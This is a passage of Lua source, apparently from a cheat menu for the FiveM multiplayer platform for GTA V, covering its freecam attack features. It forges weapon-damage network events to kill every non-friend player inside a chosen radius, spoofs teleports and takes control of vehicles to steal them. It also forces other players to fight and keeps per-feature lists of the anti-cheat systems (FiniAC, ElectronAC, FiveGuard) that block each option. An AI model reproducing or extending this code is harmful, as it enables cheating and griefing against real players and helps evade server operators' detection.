menu.utils.requestFreecamEntityControl(vehicle, 750) then menu.utils.notify("Could not take control of vehicle.", "error", 2500) return end local mode = freecamMenu and freecamMenu.selectedPickUpVehicleMode or 1 local heading = GetEntityHeading(playerPed) local restoreState = menu.utils.getFreecamPlayerRestoreState(playerPed) local restorePosition = restoreState.coords or playerPosition if menu.vars.freecamOriginalPlayerCoords then restorePosition = menu.vars.freecamOriginalPlayerCoords end menu.utils.withTempPlayerInvisibility(function() if Ham and Ham.spoofTeleport then Ham.spoofTeleport(true) end SetEntityVelocity(vehicle, 0.0, 0.0, 0.0) SetEntityCoordsNoOffset( vehicle, playerPosition.x, playerPosition.y, playerPosition.z, false, false, false ) Citizen.Wait(50) if mode == 2 then local radians = math.rad(heading) local x = playerPosition.x - math.sin(radians) * 3.5 local y = playerPosition.y + math.cos(radians) * 3.5 local groundZ = menu.utils.getFreecamObjectGroundZ(x, y, playerPosition.z) SetEntityCoordsNoOffset(vehicle, x, y, groundZ + 0.35, false, false, false) SetEntityHeading(vehicle, heading) SetEntityVelocity(vehicle, 0.0, 0.0, 0.0) else ClearPedTasksImmediately(playerPed) SetEntityVelocity(playerPed, 0.0, 0.0, 0.0) TaskWarpPedIntoVehicle(playerPed, vehicle, -1) Citizen.Wait(0) if not IsPedInVehicle(playerPed, vehicle, false) then SetPedIntoVehicle(playerPed, vehicle, -1) end Citizen.Wait(150) SetEntityCoords( vehicle, restorePosition.x, restorePosition.y, restorePosition.z, false, false, false, true ) SetEntityVelocity(vehicle, 0.0, 0.0, 0.0) if menu.vars.freecamMenuActive then menu.vars.freecamTeleportUsedInFreecam = true end end if Ham and Ham.spoofTeleport then Ham.spoofTeleport(false) end end) end) end function menuUtilities.getCurrentFreecamPlayerOptionDef(state) local options = state and state.playerOptionList if not options or #options == 0 then return nil end local index = state.selectedPlayerOptionIndex or 1 if index < 1 then index = 1 end if index > #options then index = #options end state.selectedPlayerOptionIndex = index return options[index] end function menuUtilities.getFreecamPlayerOptionsDisplayValue(state) local option = menu.utils.getCurrentFreecamPlayerOptionDef(state) if not option then return "None" end if option.type == "selector" or option.type == "selectorToggle" then if option.hideSelectorChoice then return option.name end local choices = menu.utils.getFreecamPlayerOptionChoices(option) local index = menu.vars.selectors and menu.vars.selectors[option.var] or 1 return option.name .. menu.utils.freecamPlayerOptionChoiceSep .. (choices[index] or "?") end return option.name end function menuUtilities.shiftFreecamPlayerOptionIndex(state, direction) local options = state.playerOptionList if not options or #options == 0 then return false end local index = (state.selectedPlayerOptionIndex or 1) + direction if index < 1 then index = #options elseif index > #options then index = 1 end state.selectedPlayerOptionIndex = index menu.vars.freecamLastPlayerOptionIndex = index return true end function menuUtilities.adjustFreecamPlayerOptionSubChoice(state, direction) local option = menu.utils.getCurrentFreecamPlayerOptionDef(state) if not option or (option.type ~= "selector" and option.type ~= "selectorToggle") then return false end local choices = menu.utils.getFreecamPlayerOptionChoices(option) if #choices == 0 then return false end if not menu.vars.selectors then menu.vars.selectors = {} end local index = (menu.vars.selectors[option.var] or 1) + direction if index < 1 then index = #choices elseif index > #choices then index = 1 end menu.vars.selectors[option.var] = index return true end function menuUtilities.getFreecamLocalPlayerTarget() local playerId, ped = PlayerId(), PlayerPedId() if not ped or ped == 0 or not DoesEntityExist(ped) then return nil end local serverId = GetPlayerServerId(playerId) if not serverId or serverId <= 0 then return nil end return { serverId = serverId, playerId = playerId, ped = ped } end function menuUtilities.getFreecamTargetPlayerFromCrosshair(origin, direction, requireRemotePlayer) if not origin or not direction then if requireRemotePlayer then return nil end return menu.utils.getFreecamLocalPlayerTarget() end local playerPed = PlayerPedId() local endpoint = origin + direction * 1000.0 local ray = StartShapeTestRay(origin.x, origin.y, origin.z, endpoint.x, endpoint.y, endpoint.z, 511, playerPed, 0) local status, hit, hitPosition, surfaceNormal, hitEntity = GetShapeTestResult(ray) local deadline = GetGameTimer() + 50 while status == 1 and deadline > GetGameTimer() do status, hit, hitPosition, surfaceNormal, hitEntity = GetShapeTestResult(ray) Citizen.Wait(0) end local targetPed = nil if hit and hitPosition then if hitEntity and hitEntity ~= 0 and DoesEntityExist(hitEntity) and IsEntityAPed(hitEntity) and hitEntity ~= playerPed and not IsPedInAnyVehicle(hitEntity, false) then targetPed = hitEntity end if not targetPed then local bestDistance = 3.0 for _, playerId in ipairs(GetActivePlayers()) do if playerId ~= PlayerId() then local ped = GetPlayerPed(playerId) if ped and ped ~= 0 and ped ~= playerPed and DoesEntityExist(ped) and not IsPedInAnyVehicle(ped, false) then local distance = #(hitPosition - GetEntityCoords(ped)) if bestDistance > distance then bestDistance, targetPed = distance, ped end end end end end end if targetPed and DoesEntityExist(targetPed) and IsPedAPlayer(targetPed) and targetPed ~= playerPed then for _, playerId in ipairs(GetActivePlayers()) do if GetPlayerPed(playerId) == targetPed then local serverId = GetPlayerServerId(playerId) if serverId and 0 < serverId then return { serverId = serverId, playerId = playerId, ped = targetPed } end end end end if requireRemotePlayer then return nil end return menu.utils.getFreecamLocalPlayerTarget() end function menuUtilities.runFreecamPlayerAction(unusedOption, callback, origin, direction, requireRemotePlayer) local target = menu.utils.getFreecamTargetPlayerFromCrosshair(origin, direction, requireRemotePlayer) if not target then return end target = menu.utils.refreshFreecamPlayerTargetInfo(target) if not target then return end if requireRemotePlayer and target.playerId == PlayerId() then return end callback(target) end function menuUtilities.getFreecamPlayerOptionChoices(option) if not option then return {} end if type(option.choices) == "function" then return option.choices() or {} end return option.choices or {} end function menuUtilities.executeFreecamLaunch() if menu.vars.freecamLastLaunchMode == 2 then Citizen.CreateThread(function() local vehicle = menu.utils.getVehicleFromRaycast(nil, { allowFallback = false, requireVehicleHit = true }) if not vehicle or vehicle == 0 or not DoesEntityExist(vehicle) then return end if menu.utils.isServer151VehicleBlocked() then menu.utils.notifyBanBlocked() return end if not Ham or not Ham.sendWeaponDamageEvent then return end menu.functions.sendSelectedPlayerKickVehicleDamage(nil, true, vehicle) end) return end local actionName = "launchPlayerTwo" local cameraPosition = GetFinalRenderedCamCoord() local cameraRotation = GetFinalRenderedCamRot(2) if not cameraPosition or not cameraRotation then return end local direction = getCameraDirection(cameraRotation) Citizen.CreateThread(function() menu.utils.runFreecamPlayerAction({ func = actionName }, function(targetInfo) if menu.functions[actionName] then menu.functions[actionName]({ targetInfo = targetInfo }) end end, cameraPosition, direction, true) end) end function menuUtilities.getFreecamMassKillGroundCenter(groundOnly) local cameraPosition = GetFinalRenderedCamCoord() local cameraRotation = GetFinalRenderedCamRot(2) if not cameraPosition or not cameraRotation then return nil end local direction = getCameraDirection(cameraRotation) local endpoint = cameraPosition + direction * 1000.0 local ray = StartShapeTestRay( cameraPosition.x, cameraPosition.y, cameraPosition.z, endpoint.x, endpoint.y, endpoint.z, groundOnly and 17 or 511, PlayerPedId(), 0 ) local status, hit, hitPosition = GetShapeTestResult(ray) local deadline = GetGameTimer() + 50 while status == 1 and deadline > GetGameTimer() do status, hit, hitPosition = GetShapeTestResult(ray) Citizen.Wait(0) end local x, y, z if status == 2 and (hit == true or hit == 1) and hitPosition then if groundOnly then return vector3(hitPosition.x, hitPosition.y, hitPosition.z + 0.08) end x, y, z = hitPosition.x, hitPosition.y, hitPosition.z else local fallback = cameraPosition + direction * 50.0 x, y, z = fallback.x, fallback.y, fallback.z end return vector3(x, y, menu.utils.getFreecamObjectGroundZ(x, y, z) + 0.04) end function menuUtilities.drawFreecamWorldGroundRing(center, radius, color, thickness, segments, dashed) if not center or not Ham or not Ham.worldToScreen or not Ham.drawLine then return end segments = math.floor(segments or 64) thickness = math.floor(thickness or 2) local lineColor = { math.floor(color[1] or 255), math.floor(color[2] or 255), math.floor(color[3] or 255), math.floor(color[4] or 255) } local previousVisible, previousX, previousY = false, nil, nil for index = 0, segments, 1 do local angle = index / segments * math.pi * 2.0 local visible, screenX, screenY = Ham.worldToScreen( center.x + math.cos(angle) * radius, center.y + math.sin(angle) * radius, center.z ) if visible and previousVisible and (not dashed or index % 6 < 4) then Ham.drawLine( { math.floor(previousX + 0.5), math.floor(previousY + 0.5) }, { math.floor(screenX + 0.5), math.floor(screenY + 0.5) }, lineColor, thickness ) end previousVisible, previousX, previousY = visible, screenX, screenY end end function menuUtilities.sendFreecamMassKillDamage(serverId, ped) if not Ham or not Ham.sendWeaponDamageEvent then return false end if not serverId or serverId <= 0 then return false end if not ped or ped == 0 or not DoesEntityExist(ped) then return false end if IsEntityDead(ped) or IsPedDeadOrDying(ped, true) then return false end local networkId = NetworkGetNetworkIdFromEntity(ped) if not networkId or networkId == 0 then return false end local damage = menu.utils.freecamMassKillDamagePerHit local distance = #(GetEntityCoords(PlayerPedId()) - GetEntityCoords(ped)) local bonePosition = GetPedBoneCoords(ped, 24818, 0.0, 0.0, 0.0) if not bonePosition or not bonePosition.x then return false end local localPosition = GetOffsetFromEntityGivenWorldCoords(ped, bonePosition.x, bonePosition.y, bonePosition.z) if not localPosition or localPosition.x == nil or localPosition.y == nil or localPosition.z == nil then return false end Ham.sendWeaponDamageEvent(serverId, { weaponHash = 133987706, damage = damage, damageType = 3, hitGlobalId = networkId, hitComponent = 0, overrideDamage = true, damageFlags = 0, actionResultName = 0, actionResultId = 0, f104 = 0, isNetTargetPos = true, localPosX = localPosition.x, localPosY = localPosition.y, localPosZ = localPosition.z, f112Data = distance, willKill = damage >= GetEntityHealth(ped), f133 = false, hasImpactDir = false, hitEntityWeapon = false, hitWeaponAmmoAttachment = false, silenced = false }) return true end function menuUtilities.runFreecamMassKillOnTarget(target) if not target or not target.serverId then return end local serverId = tonumber(target.serverId) if not serverId or serverId <= 0 then return end local hitCount = math.floor(menu.utils.freecamMassKillTotalDamage / menu.utils.freecamMassKillDamagePerHit) if hitCount < 1 then return end Citizen.CreateThread(function() for hitIndex = 1, hitCount, 1 do local ped = GetPlayerPed(GetPlayerFromServerId(serverId)) if not ped or ped == 0 or not DoesEntityExist(ped) then return end if IsEntityDead(ped) or IsPedDeadOrDying(ped, true) then return end menu.utils.sendFreecamMassKillDamage(serverId, ped) Wait(menu.utils.freecamMassKillHitIntervalMs) end end) end function menuUtilities.executeFreecamMassKill() local center = menu.utils.getFreecamMassKillGroundCenter() if not center then return end local radius = menu.utils.getFreecamMassKillRadius(menu.vars.freecamMenu) local localPlayerId = PlayerId() if not Ham or not Ham.sendWeaponDamageEvent then return end for _, playerId in ipairs(GetActivePlayers()) do if playerId ~= localPlayerId then local ped = GetPlayerPed(playerId) if ped and ped ~= 0 and DoesEntityExist(ped) and not IsEntityDead(ped) and not IsPedDeadOrDying(ped, true) then local position = GetEntityCoords(ped) local dx, dy = position.x - center.x, position.y - center.y if dx * dx + dy * dy <= radius * radius then local serverId = GetPlayerServerId(playerId) if serverId and 0 < serverId then local target = { serverId = serverId, playerId = playerId, ped = ped } if not menu.utils.isTargetFriend(target) then menu.utils.runFreecamMassKillOnTarget(target) end end end end end end end function menuUtilities.executeFreecamFightParty(singleHit) local center = menu.utils.getFreecamMassKillGroundCenter(true) if not center or not menu.functions.fakeFightPlayer then return end local radius = menu.utils.freecamFightPartyRadius for _, playerId in ipairs(GetActivePlayers()) do if playerId ~= PlayerId() then local ped = GetPlayerPed(playerId) if ped and ped ~= 0 and DoesEntityExist(ped) and not IsEntityDead(ped) and not IsPedDeadOrDying(ped, true) then local position = GetEntityCoords(ped) local dx, dy = position.x - center.x, position.y - center.y if dx * dx + dy * dy <= radius * radius then local target = { ped = ped, playerId = playerId, serverId = GetPlayerServerId(playerId) } if not menu.utils.isTargetFriend(target) then if singleHit then menu.functions.punchPlayer({ targetInfo = target, toggleState = true, reactionMode = 1, singleHit = true }) else menu.functions.fakeFightPlayer({ targetInfo = target }) end end end end end end end function menuUtilities.isFreecamFightPartyOptionSelected() local freecamMenu = menu.vars.freecamMenu if not freecamMenu then return freecamMenu end local options = freecamMenu.menuOptions if options then local selected = options[freecamMenu.selectedOption] return selected == menu.utils.freecamFightPartyOptionName or selected == menu.utils.freecamPunchEveryoneOptionName end return options end function menuUtilities.drawFreecamFightPartyHud() if not menu.utils.isFreecamFightPartyOptionSelected() then return end local center = menu.utils.getFreecamMassKillGroundCenter(true) if not center then return end local radius = menu.utils.freecamFightPartyRadius local color = menu.utils.getFreecamMenuPrimaryColor() local freecamMenu = menu.vars.freecamMenu if freecamMenu.menuOptions[freecamMenu.selectedOption] == menu.utils.freecamPunchEveryoneOptionName then menu.utils.drawFreecamWorldGroundRing(center, radius, color, 3, 96, true) menu.utils.drawFreecamWorldGroundRing( center, radius - 0.45, { color[1], color[2], color[3], 100 }, 1, 96, true ) else menu.utils.drawFreecamWorldGroundRing(center, radius, color, 2, 96) end end function menuUtilities.isFreecamMassKillOptionSelected() local freecamMenu = menu.vars.freecamMenu if not freecamMenu or not freecamMenu.menuOptions then return false end return freecamMenu.menuOptions[freecamMenu.selectedOption] == menu.utils.freecamMassKillOptionName end function menuUtilities.getFreecamMenuPrimaryColor() if menu.drawing and menu.drawing.colors and menu.drawing.colors.primary then return menu.drawing.colors.primary end if menu.textureLoading and menu.textureLoading.getDefaultLoadingBarFillColor then return menu.textureLoading.getDefaultLoadingBarFillColor() end return { 190, 90, 255, 255 } end function menuUtilities.drawFreecamMassKillHud() if not menu.utils.isFreecamMassKillOptionSelected() then return end local center = menu.utils.getFreecamMassKillGroundCenter() if not center then return end local radius = menu.utils.getFreecamMassKillRadius(menu.vars.freecamMenu) local color = menu.utils.getFreecamMenuPrimaryColor() local red = math.floor(color[1] or 190) local green = math.floor(color[2] or 90) local blue = math.floor(color[3] or 255) menu.utils.drawFreecamWorldGroundRing(center, radius + 3.0, { red, green, blue, 14 }, 5) menu.utils.drawFreecamWorldGroundRing(center, radius + 2.0, { red, green, blue, 24 }, 4) menu.utils.drawFreecamWorldGroundRing(center, radius + 1.2, { red, green, blue, 40 }, 3) menu.utils.drawFreecamWorldGroundRing(center, radius + 0.55, { red, green, blue, 58 }, 3) menu.utils.drawFreecamWorldGroundRing(center, radius, { 0, 0, 0, 210 }, 4) local drawRing = menu.utils.drawFreecamWorldGroundRing local ringColor = {} ringColor[1] = red ringColor[2] = green ringColor[3] = blue ringColor[4] = 235 drawRing(center, radius, ringColor, 2) end pendingUtilityValue = "Shoot RPG" menuUtilities.freecamShootOptionName = pendingUtilityValue pendingUtilityValue = "Shooting" menuUtilities.freecamShootDisplayName = pendingUtilityValue function menuUtilities.isFreecamShootOptionName(optionName) return optionName == menu.utils.freecamShootOptionName end function menuUtilities.isFreecamModelAdjustOption(optionName) if optionName == "Object Spawner" or optionName == "Map Destroyer" or optionName == "Ped Shooter" or optionName == "Particles" or optionName == "Smash Attack" then return true end return false end function menuUtilities.getFreecamMenuOptionDisplayName(optionName) if menu.utils.isFreecamShootOptionName(optionName) then return menu.utils.freecamShootDisplayName end return optionName end function menuUtilities.isFreecamOptionAdjustableWithLeftRight(optionName) if not optionName then return false end if menu.utils.isFreecamShootOptionName(optionName) or optionName == "Smash Attack" or optionName == "Object Spawner" or optionName == "Ped Shooter" or optionName == "Particles" or optionName == "Shoot Objects" or optionName == "Spawn Vehicle" or optionName == "Map Destroyer" or optionName == menu.utils.freecamMassKillOptionName or optionName == menu.utils.freecamLaunchOptionName or optionName == menu.utils.freecamPickUpVehicleOptionName or optionName == "Block Menu Movement" then return true end if optionName == "Spawn Custom Object" then local objects = menu.vars.customObjects or {} return 0 < #objects end if optionName == "Spawn Custom Vehicle" then local vehicles = menu.vars.customVehicles or {} return 0 < #vehicles end if optionName == "Spawn Custom Ped" then local peds = menu.vars.customPeds or {} return 0 < #peds end if menu.utils.isFreecamShootVehicleOptionName(optionName) then if menu.utils.isServer185169NearbyVehicleMode then return not menu.utils.isServer185169NearbyVehicleMode() end return true end if optionName == "Look Around" then return true end return false end function menuUtilities.shouldVanityMenuDeferArrowToFreecam(direction) if not menu.vars.freecamMenuActive then return false end if not menu.logic or not menu.logic.isMenuVisuallyOpen or not menu.logic.isMenuVisuallyOpen() then return false end local freecamMenu = menu.vars.freecamMenu if not freecamMenu or not freecamMenu.menuOptions then return false end if freecamMenu.isHoldingVehicle then local heldVehicles = freecamMenu.heldVehicles if heldVehicles and 0 < #freecamMenu.heldVehicles then return false end local heldObjects = freecamMenu.heldObjects if heldObjects and 0 < #freecamMenu.heldObjects then return false end else return false end local options = freecamMenu.menuOptions local selected = options[freecamMenu.selectedOption] if not selected then return false end if direction == "up" or direction == "down" then return menu.utils.isFreecamShootVehicleOptionName(selected) end if direction == "left" or direction == "right" then local adjustmentKey = menu.vars.selectors if adjustmentKey then adjustmentKey = menu.vars.selectors.freecamAdjustKeys end if not adjustmentKey then adjustmentKey = 2 end if adjustmentKey ~= 2 then return false end if selected == "Look Around" then return false end return menu.utils.isFreecamOptionAdjustableWithLeftRight(selected) end return false end end do pendingUtilityValue = {} do local mapDestroyerOption = { name = "Map Destroyer", configVar = "freecamOptionMapDestroyer", blockedBy = { FiniAC = true } } local spawnExplosionOption = { name = "Spawn Explosion", configVar = "freecamOptionSpawnExplosion", blockedBy = {} } local spawnFireOption = { name = "Spawn Fire", configVar = "freecamOptionSpawnFire", blockedBy = {} } local objectSpawnerOption = { name = "Object Spawner", configVar = "freecamOptionSpawnObject", blockedBy = {} } local spawnCustomObjectOption = { name = "Spawn Custom Object", configVar = "freecamOptionSpawnCustomObject", blockedBy = {} } local spawnCustomVehicleOption = { name = "Spawn Custom Vehicle", configVar = "freecamOptionSpawnCustomVehicle", blockedBy = {} } local pedShooterOption = { name = "Ped Shooter", configVar = "freecamOptionShootPed", blockedBy = { ElectronAC = true } } local particlesOption = { name = "Particles", configVar = "freecamOptionShootParticles", blockedBy = { ElectronAC = true, FiveGuard = true } } local shootVehicleOption = { name = "Shoot Vehicle", configVar = "freecamOptionShootVehicle", blockedBy = {} } local spawnCustomPedOption = { name = "Spawn Custom Ped", configVar = "freecamOptionSpawnCustomPed", blockedBy = {} } local shootRpgOption = { name = "Shoot RPG", configVar = "freecamOptionShoot", blockedBy = {} } local smashAttackOption = { name = "Smash Attack", configVar = "freecamOptionHelicopterAttack", blockedBy = {} } local massKillOption = { name = "Mass kill", configVar = "freecamOptionMassKill", blockedBy = {} } local fightPartyOption = { name = "Fight Party", configVar = "freecamOptionFightParty", blockedBy = {} } local punchEveryoneOption = { name = "Punch Everyone", configVar = "freecamOptionPunchEveryone", blockedBy = {} } local blackHoleOption = { name = "Black Hole", configVar = "freecamOptionBlackHole", blockedBy = {} } local teleportOption = { name = "Teleport", configVar = "freecamOptionTeleport", blockedBy = {} } local lookAroundOption = { name = "Look Around", configVar = "freecamOptionLookAround", blockedBy = {} } local copyOutfitOption = { name = "Copy Outfit", configVar = "freecamOptionCopyOutfit", blockedBy = {} } local physgunOption = { name = "Physgun", configVar = "freecamOptionPhysgun", blockedBy = {} } local selectPlayerOption = { name = "Select Player", configVar = "freecamOptionSelectPlayer", blockedBy = {} } local unselectPlayerOption = { name = "Unselect Player", configVar = "freecamOptionUnselectPlayer", blockedBy = {} } local stealVehicleOption = { name = "Steal Vehicle", configVar = "freecamOptionStealVehicle", blockedBy = {} } local kickDriverOption = { name = "Kick Driver", configVar = "freecamOptionKickDriver", blockedBy = {} } local npcVehicleHijackOption = { name = "NPC Vehicle Hijack", configVar = "freecamOptionNPCVehicleHijack", blockedBy = {} } pendingUtilityValue[1] = mapDestroyerOption pendingUtilityValue[2] = spawnExplosionOption pendingUtilityValue[3] = spawnFireOption pendingUtilityValue[4] = objectSpawnerOption pendingUtilityValue[5] = spawnCustomObjectOption pendingUtilityValue[6] = spawnCustomVehicleOption pendingUtilityValue[7] = pedShooterOption pendingUtilityValue[8] = particlesOption pendingUtilityValue[9] = shootVehicleOption pendingUtilityValue[10] = spawnCustomPedOption pendingUtilityValue[11] = shootRpgOption pendingUtilityValue[12] = smashAttackOption pendingUtilityValue[13] = massKillOption pendingUtilityValue[14] = fightPartyOption pendingUtilityValue[15] = punchEveryoneOption pendingUtilityValue[16] = blackHoleOption pendingUtilityValue[17] = teleportOption pendingUtilityValue[18] = lookAroundOption pendingUtilityValue[19] = copyOutfitOption pendingUtilityValue[20] = physgunOption pendingUtilityValue[21] = selectPlayerOption pendingUtilityValue[22] = unselectPlayerOption pendingUtilityValue[23] = stealVehicleOption pendingUtilityValue[24] = kickDriverOption pendingUtilityValue[25] = npcVehicleHijackOption pendingMenuEntry16 = mapDestroyerOption pendingMenuEntry17 = spawnExplosionOption pendingMenuEntry18 = spawnFireOption pendingMenuEntry19 = objectSpawnerOption pendingMenuEntry20 = spawnCustomObjectOption pendingMenuEntry21 = spawnCustomVehicleOption pendingMenuEntry22 = pedShooterOption pendingMenuEntry23 = particlesOption pendingMenuEntry24 = shootVehicleOption pendingMenuEntry25 = spawnCustomPedOption pendingMenuEntry26 = shootRpgOption pendingMenuEntry27 = smashAttackOption pendingMenuEntry28 = massKillOption pendingMenuEntry29 = fightPartyOption pendingMenuEntry30 = punchEveryoneOption pendingMenuEntry31 = blackHoleOption pendingMenuEntry32 = teleportOption pendingMenuEntry33 = lookAroundOption pendingMenuEntry34 = copyOutfitOption pendingMenuEntry35 = physgunOption pendingMenuEntry36 = selectPlayerOption pendingMenuEntry37 = unselectPlayerOption pendingMenuEntry38 = stealVehicleOption pendingMenuEntry39 = kickDriverOption pendingMenuEntry41 = kickDriverOption.blockedBy end local npcVehicleHijackOption = pendingUtilityValue[25] local npcVehicleHijackBlockedBy = npcVehicleHijackOption.blockedBy menuUtilities.freecamAllOptions = pendingUtilityValue function menuUtilities.generateFreecamOptionsSubmenu() local options = {} local allOptions = menu.utils.freecamAllOptions local iterator, state, initial = ipairs(allOptions) for _, definition in iterator, state, initial do if not menu.utils.isFreecamOptionBlockedOnGrandServer or not menu.utils.isFreecamOptionBlockedOnGrandServer(definition.name) then local option = { name = definition.name, type = "toggle", var = definition.configVar, description = "Enable " .. definition.name .. " option in freecam menu" } table.insert(options, option) end end return options end function menuUtilities.getFreecamSpeedLevels() local levels = {} for index = 1, 60, 1 do levels[index] = index * 0.5 end return levels end function menuUtilities.getFreecamSpeedDefaultLevel() return 1 end function menuUtilities.formatFreecamSpeedValue(value) local speed = tonumber(value) if not speed then speed = 0.5 end local fraction = math.abs(speed - math.floor(speed + 0.001)) if fraction < 0.001 then return tostring(math.floor(speed + 0.001)) end return tostring(speed) end function menuUtilities.mapFreecamDisplaySpeedToHam(displaySpeed, shiftHeld) local speed = math.max(0.5, math.min(30.0, tonumber(displaySpeed) or 0.5)) local fraction = (speed - 0.5) / (30.0 - 0.5) local hamSpeed = 0.06 + fraction * (3.75 - 0.06) if shiftHeld then return hamSpeed * 1.05 end return hamSpeed end function menuUtilities.getFreecamHamSpeedForCurrentSettings() local speed = menu.vars.sliders and menu.vars.sliders.freecamSpeed or 0.5 return menu.utils.mapFreecamDisplaySpeedToHam(speed, menu.utils.isFreecamShiftHeld()) end function menuUtilities.applyFreecamHamSpeedNow() if not Ham or not Ham.setFreecamSpeed then return end if Ham.isGuiOpen and Ham.isGuiOpen() then return end local shiftHeld = menu.utils.isFreecamShiftHeld() local speed = menu.utils.getFreecamHamSpeedForCurrentSettings() if menu.vars._freecamLastHamSpeed == speed and menu.vars._freecamLastShiftHeld == shiftHeld then return end menu.vars._freecamLastHamSpeed = speed menu.vars._freecamLastShiftHeld = shiftHeld if Ham.setFreecamSprintMultiplier then Ham.setFreecamSprintMultiplier(1.0) end if Ham.setFreecamShiftMultiplier then Ham.setFreecamShiftMultiplier(1.0) end Ham.setFreecamSpeed(speed) end function menuUtilities.isFreecamShiftHeld() if ImGuiKey then if ImGuiKey.LeftShift and Ham.isKeyDown and Ham.isKeyDown(ImGuiKey.LeftShift) then return true end if ImGuiKey.RightShift and Ham.isKeyDown and Ham.isKeyDown(ImGuiKey.RightShift) then return true end end local pressed = IsControlPressed(0, 21) if not pressed then pressed = IsDisabledControlPressed if pressed then pressed = IsDisabledControlPressed(0, 21) end end return pressed end function menuUtilities.getFreecamSpeedLevelIndex(value) local levels = menu.utils.getFreecamSpeedLevels() local speed = tonumber(value) if not speed then return menu.utils.getFreecamSpeedDefaultLevel() end local closestIndex = menu.utils.getFreecamSpeedDefaultLevel() local smallestDifference = math.huge local iterator, state, initial = ipairs(levels) for index, level in iterator, state, initial do local difference = math.abs(level - speed) if smallestDifference > difference then smallestDifference = difference closestIndex = index end end return closestIndex end function menuUtilities.getFreecamSpeedFromLevel(value) local levels = menu.utils.getFreecamSpeedLevels() local level = tonumber(value) if not level then level = menu.utils.getFreecamSpeedDefaultLevel() end local index = math.max(1, math.min(#levels, math.floor(level))) local speed = levels[index] return speed, index end function menuUtilities.shiftFreecamSpeedLevel(delta) local levels = menu.utils.getFreecamSpeedLevels() local level = menu.vars.sliders if level then level = menu.vars.sliders.freecamSpeedLevel end if not level then local speed = menu.vars.sliders if speed then speed = menu.vars.sliders.freecamSpeed end level = menu.utils.getFreecamSpeedLevelIndex(speed) end local index = math.max(1, math.min(#levels, level + (delta or 0))) if menu.functions and menu.functions.applyFreecamSpeed then menu.functions.applyFreecamSpeed(index) end return index end function menuUtilities.syncFreecamSpeedSliders() if not menu.vars.sliders then menu.vars.sliders = {} end local level = menu.vars.sliders.freecamSpeedLevel if not level then level = menu.utils.getFreecamSpeedLevelIndex(menu.vars.sliders.freecamSpeed) end local speed, index = menu.utils.getFreecamSpeedFromLevel(level) menu.vars.sliders.freecamSpeedLevel = index menu.vars.sliders.freecamSpeed = speed return speed, index end function menuUtilities.isFreecamAdjustLeftPressed() local keyMode = menu.vars and menu.vars.selectors and menu.vars.selectors.freecamAdjustKeys or 2 if keyMode == 2 then return Ham.isKeyPressed(ImGuiKey.LeftArrow) end return Ham.isKeyPressed(ImGuiKey.Q) end function menuUtilities.isFreecamAdjustRightPressed() local keyMode = menu.vars and menu.vars.selectors and menu.vars.selectors.freecamAdjustKeys or 2 if keyMode == 2 then return Ham.isKeyPressed(ImGuiKey.RightArrow) end return Ham.isKeyPressed(ImGuiKey.E) end function menuUtilities.isFreecamAdjustLeftReleased() local keyMode = menu.vars and menu.vars.selectors and menu.vars.selectors.freecamAdjustKeys or 2 if keyMode == 2 then return Ham.isKeyReleased(ImGuiKey.LeftArrow) end return Ham.isKeyReleased(ImGuiKey.Q) end function menuUtilities.isFreecamAdjustRightReleased() local keyMode = menu.vars and menu.vars.selectors and menu.vars.selectors.freecamAdjustKeys or 2 if keyMode == 2 then return Ham.isKeyReleased(ImGuiKey.RightArrow) end return Ham.isKeyReleased(ImGuiKey.E) end function menuUtilities.getFreecamAdjustKeysLeftRightHint() local keyMode = menu.vars and menu.vars.selectors and menu.vars.selectors.freecamAdjustKeys or 2 if keyMode == 1 then return "Q / E" end return "Arrow Keys" end function menuUtilities.getFreecamAdjustKeysVerticalHint() return "Up / Down" end function menuUtilities.isFreecamPlayerOptionModeLeftPressed() return ImGuiKey and ImGuiKey.Q and Ham.isKeyPressed and Ham.isKeyPressed(ImGuiKey.Q) end function menuUtilities.isFreecamPlayerOptionModeRightPressed() return ImGuiKey and ImGuiKey.E and Ham.isKeyPressed and Ham.isKeyPressed(ImGuiKey.E) end function menuUtilities.isFreecamPlayerOptionActionLeftPressed() if ImGuiKey and ImGuiKey.LeftArrow and Ham.isKeyPressed and Ham.isKeyPressed(ImGuiKey.LeftArrow) then return true end return IsControlJustPressed(0, 174) or IsDisabledControlJustPressed(0, 174) end function menuUtilities.isFreecamPlayerOptionActionRightPressed() if ImGuiKey and ImGuiKey.RightArrow and Ham.isKeyPressed and Ham.isKeyPressed(ImGuiKey.RightArrow) then return true end return IsControlJustPressed(0, 175) or IsDisabledControlJustPressed(0, 175) end function menuUtilities.getFreecamObjectRotationHeadingOffset() local step = menu.vars and menu.vars.freecamObjectRotationStep or 0 return step * 90.0 end function menuUtilities.cycleFreecamObjectRotation() local menuVars = menu.vars local step = menu.vars and menu.vars.freecamObjectRotationStep or 0 step = (step + 1) % 4 menuVars.freecamObjectRotationStep = step end function menuUtilities.drawFreecamMenuHint(unusedX, unusedY, freecamMenu) if not freecamMenu or not freecamMenu.menuOptions then return end local options = freecamMenu.menuOptions local selected = options[freecamMenu.selectedOption] if not selected then return end local leftRightHint = menu.utils.getFreecamAdjustKeysLeftRightHint() local verticalHint = menu.utils.getFreecamAdjustKeysVerticalHint() local description = nil if selected == "Object Spawner" or selected == "Map Destroyer" then local rotationStep = menu.vars if rotationStep then rotationStep = menu.vars.freecamObjectRotationStep end if not rotationStep then rotationStep = 0 end local stepText = tostring(rotationStep + 1) description = "Change model: " .. leftRightHint .. " | Rotate object: H [" .. stepText .. "/4]" elseif selected == "Spawn Custom Object" or selected == "Ped Shooter" or selected == "Shoot Objects" or selected == "Particles" then if selected == "Particles" then description = "Change particle: " .. leftRightHint else description = "Change model: " .. leftRightHint end elseif selected == "Shoot RPG" then description = "Change mode: " .. leftRightHint elseif selected == "Smash Attack" then local currentMenu = menu.vars.freecamMenu local modes if currentMenu then modes = currentMenu.attackModes end if not modes then modes = {} end local modeIndex if currentMenu then modeIndex = currentMenu.selectedAttackMode end if not modeIndex then modeIndex = 1 end local mode = modes[modeIndex] if mode and mode.isCustom then description = "Change attack: " .. leftRightHint .. " | Enter: custom model" else description = "Change attack: " .. leftRightHint end elseif selected == menu.utils.freecamMassKillOptionName then description = "Change radius: " .. leftRightHint .. " | LMB: kill in circle" elseif selected == menu.utils.freecamFightPartyOptionName then description = "LMB: Let Him Fight in circle" elseif selected == menu.utils.freecamPunchEveryoneOptionName then description = "LMB: random punch in circle" elseif selected == menu.utils.freecamLaunchOptionName then description = "Change target: " .. leftRightHint .. " | LMB: launch" elseif selected == menu.utils.freecamPickUpVehicleOptionName then description = "Change mode: " .. leftRightHint .. " | LMB: nearest vehicle" elseif 